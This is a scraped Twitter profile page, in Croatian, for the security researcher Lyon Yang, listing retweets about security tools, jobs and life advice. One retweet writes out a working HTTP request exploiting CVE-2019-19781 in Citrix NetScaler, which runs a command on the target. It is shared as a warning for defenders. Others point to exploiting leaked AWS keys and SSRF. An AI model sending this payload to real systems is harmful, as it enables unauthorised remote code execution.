Lyon Yang

@_lyonyang

$Security

Sunny California
Vrijeme pridruživanja: veljača 2014.

Tweetovi

Blokirali ste korisnika/cu @_lyonyang

Jeste li sigurni da želite vidjeti te tweetove? Time nećete deblokirati korisnika/cu @_lyonyang

  1. proslijedio/la je Tweet

    I find that working hard to solve a problem is often the only thing that makes me feel better about the problem.

    Poništi
  2. proslijedio/la je Tweet
    13. sij

    For team blue: Turns out CVE-2019-19781 doesn't need a traversal, beware. POST /vpns/portal/scripts/newbm.pl HTTP/1.1 Host: <target> NSC_USER: ../../../netscaler/portal/templates/si NSC_NONCE: 5 Content-Length: 53 url=a&title=[%+({'BLOCK'='print+`id`'})%]

    Poništi
  3. proslijedio/la je Tweet
    7. sij

    how containers work: cgroups

    Poništi
  4. proslijedio/la je Tweet
    24. pro 2019.

    Oh for fucks sake 🙄. Don’t sacrifice your 20s – or any other decade of life! – on the erroneous belief that unless you work round the clock, you’re not going to be “successful”. The world is full of people who were all work and now are all regret.

    Prikaži ovu nit
    Poništi
  5. proslijedio/la je Tweet
    2. pro 2018.

    I downloaded more talks from AWS re:Invent, than I have from any recent security conference. It feels like teams on the edges of startups & unicorns are going to increasingly live in a different world to pen-test/consulting teams. If I still ran one, I’d be pondering this hard.

    Poništi
  6. proslijedio/la je Tweet

    Looking for an Australian based (Sydney, Brizzie, Melbourne, Perth, ...) vulnerability response engineer to join Apple’s Information Security team. DMs are open if you’re interested in this opportunity!

    Poništi
  7. proslijedio/la je Tweet
    9. stu 2019.

    Reverse Engineering & Code Emulation with Ghidra : (Slides) Repo : A PCode Emulator for Ghidra : cc

    Poništi
  8. proslijedio/la je Tweet
    2. stu 2019.

    When I bought this shirt folder I didn’t realise how much joy it was going to bring me! 🥳🤯

    Prikaži ovu nit
    Poništi
  9. proslijedio/la je Tweet
    29. lis 2019.

    This is such a really interesting bug, which combined both web and binary stuff! Thanks the author neex, and for the bug! By the way, this seems my first time to blog a bug which is not found by me. XD

    Poništi
  10. proslijedio/la je Tweet
    11. ruj 2019.
    Poništi
  11. proslijedio/la je Tweet
    5. ruj 2019.

    GhIDA - Ghidra Decompiler for IDA Pro. Based on IDAPython.

    Poništi
  12. proslijedio/la je Tweet

    Check out our latest blog post on how to exploit AWS ECR and ECS with Rhino's new Cloud Container Attack Tool (CCAT ☁️🐈)

    Poništi
  13. proslijedio/la je Tweet
    24. kol 2019.

    I just published "Hail Frida!! The Universal SSL pinning bypass for Android applications" Share if you like it!

    Poništi
  14. proslijedio/la je Tweet
    24. kol 2019.
    Poništi
  15. proslijedio/la je Tweet
    23. kol 2019.

    If you're in SSRF, knowing what Consul is and how to exploit is often useful

    Prikaži ovu nit
    Poništi
  16. proslijedio/la je Tweet
    16. kol 2019.

    For those of you asking me if I bought my wework equity—I did not. But, not because I didn’t choose to buy it. Despite joining the company very early on, I was not offered options. Here’s a thread about what happened and my feelings about it now. /1

    Prikaži ovu nit
    Poništi
  17. proslijedio/la je Tweet
    16. kol 2019.

    Really detailed analysis on how to intercept an Android app build with Flutter. Great blog post.

    Poništi
  18. proslijedio/la je Tweet
    16. kol 2019.

    If you have found leaked AWS ACCESS_KEY and SECRET_KEY, use pacu by to get the most out of it. cc:

    Poništi
  19. proslijedio/la je Tweet
    16. kol 2019.

    I have updated my list of OSCP-Like systems for . Most of these boxes are retired but if you have VIP access, take some time to try them out! Also check out channel for the OSCP playlist we created if you want to watch them there!

    Poništi
  20. proslijedio/la je Tweet
    16. kol 2019.

    After spending so much time, finally here it is: "𝗨𝗽𝗹𝗼𝗮𝗱𝗶𝗻𝗴 𝘄𝗲𝗯.𝗰𝗼𝗻𝗳𝗶𝗴 𝗳𝗼𝗿 𝗙𝘂𝗻 𝗮𝗻𝗱 𝗣𝗿𝗼𝗳𝗶𝘁 𝟮"

    Poništi

Čini se da učitavanje traje već neko vrijeme.

Twitter je možda preopterećen ili ima kratkotrajnih poteškoća u radu. Pokušajte ponovno ili potražite dodatne informacije u odjeljku Status Twittera.

    Možda bi vam se svidjelo i ovo:

    ·